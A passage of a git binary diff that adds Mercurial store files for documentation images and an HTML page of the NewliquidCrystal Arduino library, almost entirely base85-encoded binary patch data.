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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/arrowright.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/arrowright.png.i new file mode 100644 index 0000000000000000000000000000000000000000..a3de8cd3331040f4ebf1b803f59b910ea8f110c0 GIT binary patch literal 294 zcmZQzWME`~fM-DJDU`kSKNP&ve#6)GOW^hNJAum_qB3|&C+_ctssU4_odJICyj)UT zKpwBBhf5HU764)~4mKcpa+ORCkXqyE;uuoF_;#)>A7h}18~?-`Y)f5MU&%hgCt}s< zwlcu`MzbwPn8Wg`n|ZHV1bb9`JY&$Clvh;rxvToq-u?R~sc;@RAHvubz_sApo`^O6 z;IyGo4d=SX|QgfDeB;%0|&P%IK2c5iN7goZ;ak980 z*HYsZbITLKIZLyfbRAAC*S(|inJ0vJ*o_wqze<88LUX{CU66bI$pmbKd7X?;jt43*Z8N2z&|vVD3*3ID*J-oX6x#m5&og`FJ_`)UtjT=V}1T z^iPKfu7yw5mJT?H{mbmt2jQ3wN$m7{$!JP9Y(@e^H>;cEP0SIvtOjWUkmpcPSIjzpW!-#XHo8QqO1_1h`~^!^2$5NAZ%h*gI8!=n}FS6BX%t{`c;8 zyZ0s+b&?x2i(2KcRU4q8m^CCI97d71<6Y2~^hI|#QN(WxaRdF8XW~h)o97~~zXk!b zlyVjb@V#mm6_Ywlx~CW)>FuXO&l)7r>n9?Nr#eHd2#C<$WFIe7Ob?ATpgEtSR%>46 z?8O-!y{uT&`HdTqXgKWVofc6o6~CJa9;{l!YMOi2S-7#Y5x3R8Dre6IFo=SA4s&Gn ziP;hRomh(F(1^53YnoX{fsR(SR=~cI#vy?dGk&HF;oU5jP*V~$=z6LhKL%Bpl4)m_6z%_a=Lw=T-$-t=o9Rx>;{AgtpH5FZlCbd%NHIKg#8PP%eUZ z7vfy@|3!J$JAbirkmk;;7j5rzP|%d8hj1Ct)7m;JfsMpe-jSLldo`^Cs+N^Xj?yJw zsfCc!goL<6t0Sm9A~<^g!M9g;%4<{SN^|JdPfE)I(Ho(8q(h(O1e3WXG_0q18+oIp)Wq8!0r( z$O;MU_|$#KR;xxK9!||OZlCp0#%BQGZOmgP8|6{c!zhF?7X&-B1B(k0pnD!x3pdNRybb(Vb4G_Y1VYGv0T??TYH zP&7P&UdpXlS_k7HVBToVhbHK+*zEY>G4eV!3PoIS3ruR?iM|k=44@>dc4Vu;U!|Q~ zZdJ%bEUg6rEAZXpph@xA)Y`+L?l<^>vS3#Qh5b13K$%e2YX>>4w)2PPvLgCQ8W(Wk zawRzywPn;g)769p5U4)-=vd_(oM3RuhzGE0ks)`TQ|4#BAYPHCGdA`CO19fBI`FS1 z*nnd@;DRB$Mr+7tocYJb#W_v=l5p~;o{DNn9NMtmMgkt~2h}a8eo5Q#Jcf$pQl6VT zslMJK-pc~YGo^3oUO}N>qsN$i-@P#TdWRmhMk9@uiYk3^f$aOO5K@d#0OQG)EJzwQ zJwQ3p#;2W9qS&luJYP)Rv<2nJV(FQXvRBw*LZo)n7tuhC48Khz-G#yVdV-JdxZ9W4y+u%iP_L&>?g9E6^8Ww~ CQJ#eW literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/bdwn.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/bdwn.png.i new file mode 100644 index 0000000000000000000000000000000000000000..42345a4c880d3f5e37dda7fd0bf879b59bcbf8e2 GIT binary patch literal 212 zcmZQzWME`~fGI#~GL*gbKNN5s&^z&U|AZDfKE}!VIUBPdtP=8rssU4_odJICyj)UT zKpwBBhf5HUW(Q&p4mKcZ%JLLMMR~e7hEy=VoqL+MK|#P}e!w)tk2%uwau0A9ZDh>a zq?gL`qRl1x#>ss*&tGBKvvt|yE%z8}Ue?cCY}ODq>$UL~_M`0fKE>)9wQKCOx#oF) kmifMPf3jdkf_M{m+;wS|=6k()KwB6*UHx3vIVCg!0Bu1>9{>OV literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__i2__c__i__o-members.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__i2__c__i__o-members.html.i new file mode 100644 index 0000000000000000000000000000000000000000..d8fcf1c93162f5605fb50fa0265d52a343a2212a GIT binary patch literal 4388 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 